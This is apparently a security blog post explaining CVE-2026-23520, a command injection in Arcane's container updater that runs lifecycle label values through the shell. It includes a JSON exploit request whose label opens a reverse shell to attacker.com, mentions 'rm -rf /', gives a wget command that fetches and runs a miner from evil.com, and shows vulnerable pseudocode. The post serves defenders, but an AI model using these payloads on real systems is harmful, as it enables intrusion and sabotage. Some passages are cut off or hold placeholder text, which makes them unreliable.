Arcane is a tool praised for giving developers an easy way to manage Docker containers. But until early 2026, something dangerous hid beneath its modern interface—a bug that could let hackers run any command they wanted. This is what happened with CVE-2026-23520—a critical command injection vulnerability. In this post, we’ll explain what it is, how it works, how to exploit it, and how to stay safe.
What Is CVE-2026-23520?
Arcane’s updater service helps keep container images updated. Developers can set up scripts to run before or after updates by adding special lifecycle labels:
com.getarcaneapp.arcane.lifecycle.post-update
Whatever command the label contains is passed directly to /bin/sh -c, without checking or sanitizing it.
Problem:
Any authenticated user (anyone who can log into Arcane—not just those with admin rights) can create projects and set these labels. If an attacker sets a bad label, their command runs the next time an update happens—making it possible to run anything as the container’s root user.
Attacker makes an account on Arcane and creates a new project.
2. In the project, they set a lifecycle label to something evil like rm -rf / or a reverse shell payload.
3. When an admin triggers an update (manually or by schedule), Arcane runs the attacker’s command inside the updated container.
Suppose the API endpoint for creating projects is /api/projects. The attacker sends
{
"name": "EvilProject",
"labels": {
"com.getarcaneapp.arcane.lifecycle.pre-update": "nc attacker.com 4444 -e /bin/sh"
},
"image": "ubuntu:latest",
...
}
Step 2: Admin Triggers an Update
Later, an unsuspecting admin or an automated process runs a container update. Arcane gets the pre-update label, and runs it exactly like this:
/bin/sh -c "nc attacker.com 4444 -e /bin/sh"
This connects the container to the attacker’s server, handing over a shell.
Code Analysis
Here’s a simplified snippet of how Arcane’s vulnerable updater code might look prior to v1.13.:
# Python-pseudocode representation
import os
def run_lifecycle_scripts(container):
for label in ['pre-update', 'post-update']:
key = f"com.getarcaneapp.arcane.lifecycle.{label}"
command = container.labels.get(key)
if command:
# DANGEROUS: directly passes label value to shell
os.system(f"/bin/sh -c \"{command}\"")
What’s wrong?
There’s no validation of command. Anything can be injected, including destructive or malicious code.
Real-World Exploit Example
Let’s say an attacker wants to make the container download and run a crypto miner. They would set the label to:
wget http://evil.com/miner -O /tmp/miner && chmod +x /tmp/miner && /tmp/miner
When triggered, the container fetches and starts the attacker’s software.
Restricts who can set these labels.
- (Optional) Uses a safe exec method instead of passing arguments directly to /bin/sh.
Upgrade NOW:
If you use Arcane, update to at least v1.13. immediately.
- Arcane Release Notes v1.13.
- Security Advisory *(replace with actual advisory link if published)*
Summary
- CVE-2026-23520 is a serious bug in Arcane’s updater that lets any logged-in user run system commands inside containers by abusing lifecycle labels.
Review who can create projects and set lifecycle labels in your organization.
Stay safe — container security is only as strong as the links in your supply chain.
References
- Arcane GitHub
- CVE-2026-23520 at NVD *(link may go live after disclosure)*
- Arcane Release Notes v1.13.
*This post is exclusively written to explain CVE-2026-23520 in the clearest possible terms for admins and developers.*
Timeline
Published on: 01/15/2026 19:20:22 UTC
Last modified on: 02/05/2026 21:37:01 UTC